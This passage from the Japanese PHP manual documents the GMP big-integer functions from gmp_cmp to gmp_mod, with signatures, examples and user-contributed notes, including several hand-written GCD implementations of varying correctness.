GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

a > b の場合に正の値、a = b の場合にゼロ、a < b の場合に負の値を返します。

例

例1 gmp_cmp() の例

<?php
$cmp1 = gmp_cmp("1234", "1000"); // より大きい
$cmp2 = gmp_cmp("1000", "1234"); // より小さい
$cmp3 = gmp_cmp("1234", "1234"); // 等しい

echo "$cmp1 $cmp2 $cmp3\n";
?>

上の例の出力は以下となります。

1 -1 0

User Contributed Notes

russell dot harper at springboardnetworks dot com 28-Jul-2010 01:43
I've encountered a memory leak in gmp_cmp if a literal string is used as the second value inside of loops. A workaround is to initialize first, then use the variable. I wasn't able to generate a minimum code sample, it's something more complicated, but I was able to fix it as follows:

<?php

$x = gmp_init(strval(mt_rand()));

// Depending on surrounding code, may have leaks
while (true)
{
    if (!gmp_cmp($x, '1'))
        print 'one'."\n";
}

// Usually doesn't have leaks
$one = gmp_init('1');

while (true)
{
    if (!gmp_cmp($x, $one))
        print 'one'."\n";
}

?>


1 の補数を計算する

  • ≪ gmp_cmp
  • gmp_div_q ≫
  • PHP Manual
  • GMP 関数
  • 1 の補数を計算する

gmp_com

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_com — 1 の補数を計算する

説明

gmp_com ( GMP|int|string $num ) : GMP

num について、1 の補数を返します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num についての 1 の補数を GMP 数で返します。

例

例1 gmp_com() の例

<?php
$com = gmp_com("1234");
echo gmp_strval($com) . "\n";
?>

上の例の出力は以下となります。

-1235

User Contributed Notes

xo at jdbartlett dot com 13-Apr-2010 10:07
If you're using one's compliment (bitwise NOT) to flip all $a's bits, don't forget that you need to use a mask to specify how many bits you expect in your result:

<?php gmp_and(gmp_com('1234'), '2047') ?>
>> 813 // 01100101101 in binary

I chose 2047 because 1234 is an 11-bit binary number and 2047 is the maximum an 11-bit register can hold:

11111111111  (2047)
10011010010  (1234)
01100101101  (813)


数値を除算する

  • ≪ gmp_com
  • gmp_div_qr ≫
  • PHP Manual
  • GMP 関数
  • 数値を除算する

gmp_div_q

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_q — 数値を除算する

説明

gmp_div_q ( GMP|int|string $num1 , GMP|int|string $num2 , int $rounding_mode = GMP_ROUND_ZERO ) : GMP

num1 を num2 で割り、 結果を整数で返します。

パラメータ

num1

割られる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

num1 を割る数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

rounding_mode

結果の丸め方は rounding_mode で指定し、次の値を指定可能です。

  • GMP_ROUND_ZERO: 結果は 0 の方に丸められます。
  • GMP_ROUND_PLUSINF: 結果は、 +infinity の方に丸められます。
  • GMP_ROUND_MINUSINF: 結果は、 -infinity の方に丸められます。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_div_q() の例

<?php
$div1 = gmp_div_q("100", "5");
echo gmp_strval($div1) . "\n";

$div2 = gmp_div_q("1", "3");
echo gmp_strval($div2) . "\n";

$div3 = gmp_div_q("1", "3", GMP_ROUND_PLUSINF);
echo gmp_strval($div3) . "\n";

$div4 = gmp_div_q("-1", "4", GMP_ROUND_PLUSINF);
echo gmp_strval($div4) . "\n";

$div5 = gmp_div_q("-1", "4", GMP_ROUND_MINUSINF);
echo gmp_strval($div5) . "\n";
?>

上の例の出力は以下となります。

20
0
1
0
-1

注意

注意:

この関数は、gmp_div() のようにコールすることも可能です。

参考

  • gmp_div_r() - 除算の余りを計算する
  • gmp_div_qr() - 除算を行い、商と余りを得る

User Contributed Notes

There are no user contributed notes for this page.


除算を行い、商と余りを得る

  • ≪ gmp_div_q
  • gmp_div_r ≫
  • PHP Manual
  • GMP 関数
  • 除算を行い、商と余りを得る

gmp_div_qr

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_qr — 除算を行い、商と余りを得る

説明

gmp_div_qr ( GMP|int|string $num1 , GMP|int|string $num2 , int $rounding_mode = GMP_ROUND_ZERO ) : array

この関数は、num1 を num2 で割ります。

パラメータ

num1

割られる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

num1 を割る数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

rounding_mode

引数 rounding_mode の説明については、 gmp_div_q() 関数を参照ください。

返り値

配列を返します。配列の最初の要素は [n/d] (割算の結果の整数値)、2 番目の要素は (n - [n/d] * d) (割算の余り) です。

例

例1 GMP 数の割算

<?php
$a = gmp_init("0x41682179fbf5");
$res = gmp_div_qr($a, "0xDEFE75");
printf("Result is: q - %s, r - %s",
       gmp_strval($res[0]), gmp_strval($res[1]));
?>

参考

  • gmp_div_q() - 数値を除算する
  • gmp_div_r() - 除算の余りを計算する

User Contributed Notes

There are no user contributed notes for this page.


除算の余りを計算する

  • ≪ gmp_div_qr
  • gmp_div ≫
  • PHP Manual
  • GMP 関数
  • 除算の余りを計算する

gmp_div_r

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_r — 除算の余りを計算する

説明

gmp_div_r ( GMP|int|string $num1 , GMP|int|string $num2 , int $rounding_mode = GMP_ROUND_ZERO ) : resource

num1 を num2 で整数として割った際の余りを計算します。余りは、引数 num1 がゼロでない場合に、これと同じ符号を有します。

パラメータ

num1

割られる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

num1 を割る数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

rounding_mode

引数 rounding_mode の説明については、関数 gmp_div_q() を参照ください。

返り値

余りを GMP 数で返します。

例

例1 gmp_div_r() の例

<?php
$div = gmp_div_r("105", "20");
echo gmp_strval($div) . "\n";
?>

上の例の出力は以下となります。

5

参考

  • gmp_div_q() - 数値を除算する
  • gmp_div_qr() - 除算を行い、商と余りを得る

User Contributed Notes

jessietessie256 at gmail dot com 11-Jan-2019 06:47
it is basically an alias gmp_mod.


gmp_div_q のエイリアス

  • ≪ gmp_div_r
  • gmp_divexact ≫
  • PHP Manual
  • GMP 関数
  • gmp_div_q のエイリアス

gmp_div

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div — gmp_div_q() のエイリアス

説明

この関数は次の関数のエイリアスです。 gmp_div_q().

User Contributed Notes

There are no user contributed notes for this page.


正確な除算

  • ≪ gmp_div
  • gmp_export ≫
  • PHP Manual
  • GMP 関数
  • 正確な除算

gmp_divexact

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_divexact — 正確な除算

説明

gmp_divexact ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

高速な "exact division" アルゴリズムを使用して num1 を num2 で割ります。 この関数は、num1 が num2 で割り切れることがわかっている場合にのみ正確な結果を出力します。

パラメータ

num1

割られる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

a を割る数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_divexact() の例

<?php
$div1 = gmp_divexact("10", "2");
echo gmp_strval($div1) . "\n";

$div2 = gmp_divexact("10", "3"); // 間違った結果となります
echo gmp_strval($div2) . "\n";
?>

上の例の出力は以下となります。

5
2863311534

User Contributed Notes

There are no user contributed notes for this page.


バイナリ文字列にエクスポートする

  • ≪ gmp_divexact
  • gmp_fact ≫
  • PHP Manual
  • GMP 関数
  • バイナリ文字列にエクスポートする

gmp_export

(PHP 5 >= 5.6.1, PHP 7, PHP 8)

gmp_export — バイナリ文字列にエクスポートする

説明

gmp_export ( GMP|int|string $num , int $word_size = 1 , int $flags = GMP_MSW_FIRST | GMP_NATIVE_ENDIAN ) : string

GMP数をバイナリ文字列にエクスポートします。

パラメータ

num

エクスポートするGMP数

word_size

デフォルト値は1です。 バイナリデータのチャンクごとのバイト数を指定します。 これはオプションパラメータと組み合わせて主に使います。

flags

デフォルト値は GMP_MSW_FIRST | GMP_NATIVE_ENDIAN です。

返り値

文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。

例

例1 gmp_export() の例

<?php
$number = gmp_init(16705);
echo gmp_export($number) . "\n";
?>

上の例の出力は以下となります。

AA

参考

  • gmp_import() - バイナリ文字列からインポートする

User Contributed Notes

There are no user contributed notes for this page.


階乗

  • ≪ gmp_export
  • gmp_gcd ≫
  • PHP Manual
  • GMP 関数
  • 階乗

gmp_fact

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_fact — 階乗

説明

gmp_fact ( GMP|int|string $num ) : GMP

num の階乗 (num!) を計算します。

パラメータ

num

階乗を求める数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_fact() の例

<?php
$fact1 = gmp_fact(5); // 5 * 4 * 3 * 2 * 1
echo gmp_strval($fact1) . "\n";

$fact2 = gmp_fact(50); // 50 * 49 * 48, ... etc
echo gmp_strval($fact2) . "\n";
?>

上の例の出力は以下となります。

120
30414093201713378043612608166064768844377641568960512000000000000

User Contributed Notes

raholl 01-Oct-2018 04:01
I was expecting gmp_fact() is more effective than doing a while loop, but measurements show opposite:

<?php
$cislo = 112;
$fact = $cislo;
$ffact = 1;
$mt = microtime();
while($fact >= 1)
{
    $ffact = $fact * $ffact;
    $fact--;
}
$md=number_format(microtime()-$mt, 6);
echo "<h1>LOOP ($md):</h1>";
echo $ffact;

$mt = microtime();
$vec = gmp_fact($cislo);
$md=number_format(microtime()-$mt, 6);
echo "<h1>GMP FACT ($md):</h1>";
echo $vec;
exit();
?>

WILL OUTPUT:

LOOP (0.000022s):
1.9745068572211E+182

GMP FACT (0.000132s):
1.9745068572211E+182

Result is 0.000022s loop, and 0.000132s gmp_fact()
raholl 01-Oct-2018 03:59
I was expecting gmp_fact() is more effective than doing a while loop, but measurements show opposite:

<?php
$cislo = 112;
$fact = $cislo;
$ffact = 1;
$mt = microtime();
while($fact >= 1)
{
    $ffact = $fact * $ffact;
    $fact--;
}
$md=number_format(microtime()-$mt, 6);
echo "<h1>LOOP ($md):</h1>";
echo $ffact;

$mt = microtime();
$vec = gmp_fact($cislo);
$md=number_format(microtime()-$mt, 6);
echo "<h1>GMP FACT ($md):</h1>";
echo $vec;
exit();
?>

WILL OUTPUT:

LOOP (0.000022s):
1.9745068572211E+182

GMP FACT (0.000132s):
1.9745068572211E+182

Result is 0.000022s loop, and 0.000132s gmp_fact()


最大公約数を計算する

  • ≪ gmp_fact
  • gmp_gcdext ≫
  • PHP Manual
  • GMP 関数
  • 最大公約数を計算する

gmp_gcd

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_gcd — 最大公約数を計算する

説明

gmp_gcd ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

num1 と num2 の最大公約数を計算します。 引数のどちらかまたは両方が負の場合でも結果は常に正となります。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num1 と num2 の両方を割り切ることができる正の数を GMP 数で返します。

例

例1 gmp_gcd() の例

<?php
$gcd = gmp_gcd("12", "21");
echo gmp_strval($gcd) . "\n";
?>

上の例の出力は以下となります。

3

参考

  • gmp_lcm() - 最小公倍数を計算する

User Contributed Notes

me at abiusx dot com 10-Apr-2020 01:48
function gcd($a,$b)
{
    return $b ? gcd($b, $a%$b) : $a;
}

This is pretty fast and short, also easy to remember. If $b is zero, return a, otherwise swap and mod.
delboy1978uk at gmail dot com 24-Oct-2017 05:05
I wanted this functionality without having to install the extension.

So here's a script I wrote to find out the greatest common denominator:

<?php

// Our fraction, 3/12, could be written better
$numerator = 3;
$denominator = 12;

/**
 * @param int $num
 * @return array The common factors of $num
 */
function getFactors($num)
{
    $factors = [];
    // get factors of the numerator
    for ($x = 1; $x <= $num; $x ++) {
        if ($num % $x == 0) {
            $factors[] = $x;
        }
    }
    return $factors;
}

/**
 * @param int $x
 * @param int $y
 */
function getGreatestCommonDenominator($x, $y)
{
    // first get the common denominators of both numerator and denominator
    $factorsX = getFactors($x);
    $factorsY = getFactors($y);

    // common denominators will be in both arrays, so get the intersect
    $commonDenominators = array_intersect($factorsX, $factorsY);

    // greatest common denominator is the highest number (last in the array)
    $gcd = array_pop($commonDenominators);
    return $gcd;
}

// divide the numerator and denomiator by the gcd to get our refactored fraction
$gcd = getGreatestCommonDenominator($numerator, $denominator);
echo ($numerator / $gcd) .'/'. ($denominator / $gcd); // we can use divide (/) because we know result is an int :-)

Which you can see running here https://3v4l.org/uTucY
sean__remove__ at eternalrise_r_emove__ dot com 10-Nov-2008 07:50
Here's my solution for getting the GCD of several numbers.

<?php

/*
 * function gcd()
 *
 * returns greatest common divisor
 * between two numbers
 * tested against gmp_gcd()
 */
function gcd($a, $b)
{
    if ($a == 0 || $b == 0)
        return abs( max(abs($a), abs($b)) );

    $r = $a % $b;
    return ($r != 0) ?
        gcd($b, $r) :
        abs($b);
}

/*
 * function gcd_array()
 *
 * gets greatest common divisor among
 * an array of numbers
 */
function gcd_array($array, $a = 0)
{
    $b = array_pop($array);
    return ($b === null) ?
        (int)$a :
        gcd_array($array, gcd($a, $b));
}

?>
limas at kultur-online dot at 01-Dec-2007 10:44
The previous function returns just 1 under php 5.2.4  but the following seems to work (m>0,n>0):

function gcd($m,$n)
{
    $_m=$m;$r=1;
    if($m<$n){$t=$m;$m=$n;$n=$t;}
    while($r)
    {
        $r=(floor($m/$n)*$n)-$m;
        $_n=$n;$n=$r;$m=$_m;
    }
    return abs($_n);
}
bigkm1 at gmail dot com 25-Aug-2006 09:33
here is an elegant recursive solution
<?php

function gcd($a,$b) {
    return ($a % $b) ? gcd($b,$a % $b) : $b;
}

?>
scr02001 at student dot mdh dot se 16-Aug-2003 06:58
If you do not consier a or b as possible negative numbers, a GCD funktion may return a negative GCD, wich is NOT a greatest common divisor, therefore a funktion like this may be better. This considers the simplyfying of (-3)-(-6) where gcd on -3 and -6 would result in 3, not -3 as with the other function. (-3)-(-6) is (-1)-(-2) NOT (1)-(2)

function eGCD($a,$b){
  if($a < 0)         $a=0-$a;
  if($b < 0 )        $b=0-$b;
  if($a == 0 || $b == 0)    return 1;
  if($a == $b)              return a;

do{
  $rest=(int) $a % $b;  $a=$b; $b=$rest;
  }while($rest >0);
return $a;
}
Ludwig Heymbeeck 12-Jan-2003 10:33
The following function is more accurate:

function GCD($num1, $num2) {
/* finds the greatest common factor between two numbers */
   while ($num2 != 0){
     $t = $num1 % $num2;
     $num1 = $num2;
     $num2 = $t;
   }
   return $num1;
}
x-empt-php dot net at ispep dot cx 06-Jul-2002 11:16
No need to compile gmp functions in just for the GCD function...  use this one instead:

function GCD($num1, $num2) {
 /* finds the greatest common factor between two numbers */
    if ($num1 < $num2) {
        $t = $num1;
        $num1 = $num2;
        $num2 = $t;
    }
    while ($t = ($num1 % $num2) != 0) {
        $num1 = $num2;
        $num2 = $t;
    }
    return $num2;
}


最大公約数と乗数を計算する

  • ≪ gmp_gcd
  • gmp_hamdist ≫
  • PHP Manual
  • GMP 関数
  • 最大公約数と乗数を計算する

gmp_gcdext

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_gcdext — 最大公約数と乗数を計算する

説明

gmp_gcdext ( GMP|int|string $num1 , GMP|int|string $num2 ) : array

a*s + b*t = g = gcd(a,b) となるような g, s, t を計算します。ただし、gcd は最大公約数です。g, s, t を要素とする配列を返します。

この関数は、2 変数の線形不定方程式 (linear Diophantine equations) を解く際に使用することが可能です。 この方程式は、a*x + b*y = c のような形式で、 整数のみを解とするものです。 詳細な情報は、» MathWorld の "Diophantine Equation" についてのページを参照ください。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP 数の配列を返します。

例

例1 線形不定方程式を解く

<?php
// 方程式 a*s + b*t = g を解きます。
// a = 12, b = 21, g = gcd(12, 21) = 3 とします。
$a = gmp_init(12);
$b = gmp_init(21);
$g = gmp_gcd($a, $b);
$r = gmp_gcdext($a, $b);

$check_gcd = (gmp_strval($g) == gmp_strval($r['g']));
$eq_res = gmp_add(gmp_mul($a, $r['s']), gmp_mul($b, $r['t']));
$check_res = (gmp_strval($g) == gmp_strval($eq_res));

if ($check_gcd && $check_res) {
    $fmt = "Solution: %d*%d + %d*%d = %d\n";
    printf($fmt, gmp_strval($a), gmp_strval($r['s']), gmp_strval($b),
    gmp_strval($r['t']), gmp_strval($r['g']));
} else {
    echo "方程式を解く際にエラーが発生しました\n";
}

// 出力は、解: 12*2 + 21*-1 = 3 のようになります。
?>

User Contributed Notes

FatPhil 15-Jun-2003 06:47
The extended GCD can be used to calculate mutual modular inverses of two
coprime numbers. Internally gmp_invert uses this extended GCD routine,
but effectively throws away one of the inverses.

If gcd(a,b)=1, then r.a+s.b=1
Therefore  r.a == 1 (mod s) and s.b == 1 (mod r)
Note that one of r and s will be negative, and so you'll want to
canonicalise it.


ハミング距離

  • ≪ gmp_gcdext
  • gmp_import ≫
  • PHP Manual
  • GMP 関数
  • ハミング距離

gmp_hamdist

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_hamdist — ハミング距離

説明

gmp_hamdist ( GMP|int|string $num1 , GMP|int|string $num2 ) : int

num1 と num2 の間のハミング距離を返します。オペランドは共に非負とする必要があります。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

正の数である必要があります。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

正の数である必要があります。

返り値

num1 と num2 のハミング距離を int として返します。

例

例1 gmp_hamdist() の例

<?php
$ham1 = gmp_init("1001010011", 2);
$ham2 = gmp_init("1011111100", 2);
echo gmp_hamdist($ham1, $ham2) . "\n";

/* ハミング距離は、以下と等しくなります */
echo gmp_popcount(gmp_xor($ham1, $ham2)) . "\n";
?>

上の例の出力は以下となります。

6
6

参考

  • gmp_popcount() - セットされているビットの数
  • gmp_xor() - ビット XOR を計算する

User Contributed Notes

grabzila at gmail dot com 11-Mar-2021 11:14
<?php
$hamdist = gmp_hamdist(-100, -10); // 4
$hamdist = gmp_hamdist(100, 10);  // 5
?>

The function works great with negative numbers.
Bas Vijfwinkel 16-Apr-2018 05:41
For those without gmp support :

$hamming_distance = count(array_diff_assoc(str_split($string1), str_split($string2)));

And if you are not sure if your strings have equal length :

$hamming_distance = count(array_diff_assoc(str_split(str_pad($string1,strlen($string2)-strlen($string1),' ')), str_split(str_pad($string2,strlen($string1)-strlen($string2),' '))));


バイナリ文字列からインポートする

  • ≪ gmp_hamdist
  • gmp_init ≫
  • PHP Manual
  • GMP 関数
  • バイナリ文字列からインポートする

gmp_import

(PHP 5 >= 5.6.1, PHP 7, PHP 8)

gmp_import — バイナリ文字列からインポートする

説明

gmp_import ( string $data , int $word_size = 1 , int $flags = GMP_MSW_FIRST | GMP_NATIVE_ENDIAN ) : GMP

バイナリ文字列から GMP数をインポートします。

パラメータ

data

インポートするバイナリ文字列

word_size

デフォルト値は1です。 バイナリデータのチャンクごとのバイト数を指定します。 これはオプションパラメータと組み合わせて主に使います。

flags

デフォルト値は GMP_MSW_FIRST | GMP_NATIVE_ENDIAN です。

返り値

GMP 数を返します。

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。

例

例1 gmp_import() の例

<?php
$number = gmp_import("\0");
echo gmp_strval($number) . "\n";

$number = gmp_import("\0\1\2");
echo gmp_strval($number) . "\n";
?>

上の例の出力は以下となります。

0
258

参考

  • gmp_export() - バイナリ文字列にエクスポートする

User Contributed Notes

There are no user contributed notes for this page.


GMP 数を作成する

  • ≪ gmp_import
  • gmp_intval ≫
  • PHP Manual
  • GMP 関数
  • GMP 数を作成する

gmp_init

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_init — GMP 数を作成する

説明

gmp_init ( int|string $num , int $base = 0 ) : GMP

整数または文字列から GMP 数を生成します。

パラメータ

num

整数値あるいは文字列。文字列表現には、 十進数か十六進数、あるいは八進数を使用可能です。

base

基数。

基数には 2 から 62 までの値を指定することができます。 基数を 0 (デフォルト値) にすると、最初の文字に応じて実際の基数を決定します。 最初の二文字が 0x あるいは 0X の場合は十六進数、 最初の2文字が 0b や 0B の場合は二進数、 それ以外の場合で、最初の文字が 0 の場合は八進数、 それ以外の場合は十進数となります。 基数が 36 までの場合、大文字小文字は無視されます。 つまり、大文字と小文字は同じ値を持ちます。 基数が 37 から 62 までの場合、 大文字は通常、10 から 35 を表現し、 小文字は 36 から 61 までを表現します。

返り値

GMP オブジェクトを返します。

例

例1 GMP 数の作成

<?php
$a = gmp_init(123456);
$b = gmp_init("0xFFFFDEBACDFEDF7200");
?>

注意

注意:

gmp_add() のような GMP 関数において、GMP 数を指定するところに整数または文字列を使用したい場合には、 この関数をコールする必要はありません。この場合、変換が必要な場合には、 gmp_init() と同様の方法で関数の引数は自動的に GMP 数に変換されます。

User Contributed Notes

marcus at synchromedia dot co dot uk 11-Aug-2011 04:41
I discovered that the gmp functions use [0-9a-f] up to base 16, but [0-9A-Za-z] (i.e. upper case first) from bases 17 to 62. This differs from most of the base-62 implementations I've found that tend to use lower case first.
karl dot debisschop at pearson dot com 29-Mar-2011 12:15
Unless the base is 16, gpm_init will fail if the string begins with "0b".

> php -r '$v = gmp_init("b83", 17); print("$v\n");'

Resource id #4

> php -r '$v = gmp_init("0b83", 17); print("$v\n");'

[nothing prints]

In may case, where I am explicitly specifying the base, the solution is to apply ltrim first:

> php -r '$v = gmp_init(ltrim("0b83", "0"), 17); print("$v\n");'

Resource id #4
charlie at oblivion dot cz 18-Feb-2007 04:55
gmp_* functions don't accept strings with a leading '+':
<?php
echo gmp_strval(gmp_init('+42'));      #0
echo gmp_strval(gmp_add('42', '+42')); #42
echo bcadd('+42', '+42');              #84
?>
php at richardneill dot org 20-Sep-2006 03:30
Here's a way to parse a decimal (eg 3.25) into an integer and exponent:

<?
if (preg_match("/^[0-9]+\.[0-9]+$/",$input)){
     //Input is a base-10 decimal. Multiply as necessary to remove the decimal
     //point. Convert that to a gmp_resource, then decrement the exponent
     //to compensate.

     $pieces=explode(".", $input);     //Split at the d.p.
     $input="$pieces[0]$pieces[1]";  //Remove the decimal point.

     $input=ltrim($input,'0');
     //Remove any leading zeros, or gmp_init will parse the number as octal.

     if ($input==''){    //Deal with "0.0" which would otherwise be ''.
          $input=0;
      }
      $integer=gmp_init($input);
      $ns_exponent=-strlen($pieces[1]);
     //exponent = (-)  the number of characters after the decimal point.
}
?>
php at richardneill dot org 20-Sep-2006 03:14
Note: Leading zeros will make gmp_init parse this as octal.
Thus gmp_init(010) becomes 8.

$a=010;              //8
$b="010" + 0;     //10
$c=gmp_strval(gmp_init(010));    //8
$d=gmp_strval(gmp_init("010")); //8

This behaviour is inconsistent: either $d should equal $b, or
$b should equal $a.
thomas dot hebinck at digionline dot de 18-Aug-2005 10:23
If you call a gmp_* function directly with an interger as parameter, this integer MUST NOT be 0:

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,$i))) . ' ';  }

The result is 1 0 3 (wrong)

In this case you have to use gmp_init():

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,gmp_init($i)))) . ' ';  }

The result is 1 2 3 (right)

Happy number crunching! :-)


GMP 数を整数に変換する

  • ≪ gmp_init
  • gmp_invert ≫
  • PHP Manual
  • GMP 関数
  • GMP 数を整数に変換する

gmp_intval

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_intval — GMP 数を整数に変換する

説明

gmp_intval ( GMP|int|string $num ) : int

この関数は、GMP 数を PHP ネイティブの整数に変換します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num を整数に変換した結果を返します。

例

例1 gmp_intval() の例

<?php
// 正しい結果を表示します
echo gmp_intval("2147483647") . "\n";

// PHP の整数型の制限をこえているので、正しい結果を表示しません
echo gmp_intval("2147483648") . "\n";

// 正しい結果を表示します
echo gmp_strval("2147483648") . "\n";
?>

上の例の出力は以下となります。

2147483647
2147483647
2147483648

注意

警告

この関数は、数値が実際に PHP の整数型に適合する場合(すなわち、 符号付き long 型)にのみ有用な結果を返します。単に GMP 数を出力したい場合には、gmp_strval() を使用してください。

User Contributed Notes

There are no user contributed notes for this page.


法による逆

  • ≪ gmp_intval
  • gmp_jacobi ≫
  • PHP Manual
  • GMP 関数
  • 法による逆

gmp_invert

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_invert — 法による逆

説明

gmp_invert ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP|false

num2 を法とした num1 の逆を計算します。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

成功した場合に GMP 数、逆が存在しない場合に false を返します。

例

例1 gmp_invert() の例

<?php
echo gmp_invert("5", "10"); // 逆は存在しないので何も出力せず、結果は FALSE となります
$invert = gmp_invert("5", "11");
echo gmp_strval($invert) . "\n";
?>

上の例の出力は以下となります。

9

User Contributed Notes

athamidn at gmail dot com 06-Apr-2020 11:31
Example #2 gmp_invert() example
<?php
echo gmp_invert("5", "10"); // no inverse, outputs nothing, result is FALSE

It means (5 * x ) mod 10 = 1. And with this function we want a value for x, because of mod 10, x should be {1.. 10-1(9)}, so :

5 * 1 mod 10 = 5
5 * 2 mod 10 = 0
5 * 3 mod 10 = 5
5 * 4 mod 10 =  0
5 * 5 mod 10 = 5
5 * 6 mod 10 = 0
5 * 7 mod 10 = 5
5 * 8 mod 10 = 0
5 * 9 mod 10 = 5
We don't have any 1 in the results. so it will be False.

$invert = gmp_invert("5", "11");

echo gmp_strval($invert) . "\n";
?>

The above example will output:

9

5 * 9 mod 11 = 1


ヤコビ記号

  • ≪ gmp_invert
  • gmp_kronecker ≫
  • PHP Manual
  • GMP 関数
  • ヤコビ記号

gmp_jacobi

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_jacobi — ヤコビ記号

説明

gmp_jacobi ( GMP|int|string $num1 , GMP|int|string $num2 ) : int

num1 および num2 の » ヤコビ記号 を計算します。num2 は正の奇数である必要があります。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

正の奇数でなければなりません。

返り値

GMP オブジェクトを返します。

例

例1 gmp_jacobi() の例

<?php
echo gmp_jacobi("1", "3") . "\n";
echo gmp_jacobi("2", "3") . "\n";
?>

上の例の出力は以下となります。

1
0

参考

  • gmp_kronecker() - クロネッカーの記号を計算する
  • gmp_legendre() - ルジェンドル記号

User Contributed Notes

There are no user contributed notes for this page.


クロネッカーの記号を計算する

  • ≪ gmp_jacobi
  • gmp_lcm ≫
  • PHP Manual
  • GMP 関数
  • クロネッカーの記号を計算する

gmp_kronecker

(PHP 7 >= 7.3.0, PHP 8)

gmp_kronecker — クロネッカーの記号を計算する

説明

gmp_kronecker ( GMP|int|string $num1 , GMP|int|string $num2 ) : int

この関数は num1 と num2 のクロネッカーの記号を計算します。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num1 と num2 のクロネッカーの記号を返します。

参考

  • gmp_jacobi() - ヤコビ記号
  • gmp_legendre() - ルジェンドル記号

User Contributed Notes

There are no user contributed notes for this page.


最小公倍数を計算する

  • ≪ gmp_kronecker
  • gmp_legendre ≫
  • PHP Manual
  • GMP 関数
  • 最小公倍数を計算する

gmp_lcm

(PHP 7 >= 7.3.0, PHP 8)

gmp_lcm — 最小公倍数を計算する

説明

gmp_lcm ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

この関数は、num1 と num2 の最小公倍数(lcm)を計算します。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

参考

  • gmp_gcd() - 最大公約数を計算する

User Contributed Notes

There are no user contributed notes for this page.


ルジェンドル記号

  • ≪ gmp_lcm
  • gmp_mod ≫
  • PHP Manual
  • GMP 関数
  • ルジェンドル記号

gmp_legendre

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_legendre — ルジェンドル記号

説明

gmp_legendre ( GMP|int|string $num1 , GMP|int|string $num2 ) : int

num1 と num2 の » ルジェンドル記号 を計算します。num2 は、正の奇数である必要があります。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

正の奇数でなければなりません。

返り値

GMP オブジェクトを返します。

例

例1 gmp_legendre() の例

<?php
echo gmp_legendre("1", "3") . "\n";
echo gmp_legendre("2", "3") . "\n";
?>

上の例の出力は以下となります。

1
0

参考

  • gmp_jacobi() - ヤコビ記号
  • gmp_kronecker() - クロネッカーの記号を計算する

User Contributed Notes

There are no user contributed notes for this page.


モジュロ演算

  • ≪ gmp_legendre
  • gmp_mul ≫
  • PHP Manual
  • GMP 関数
  • モジュロ演算

gmp_mod

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

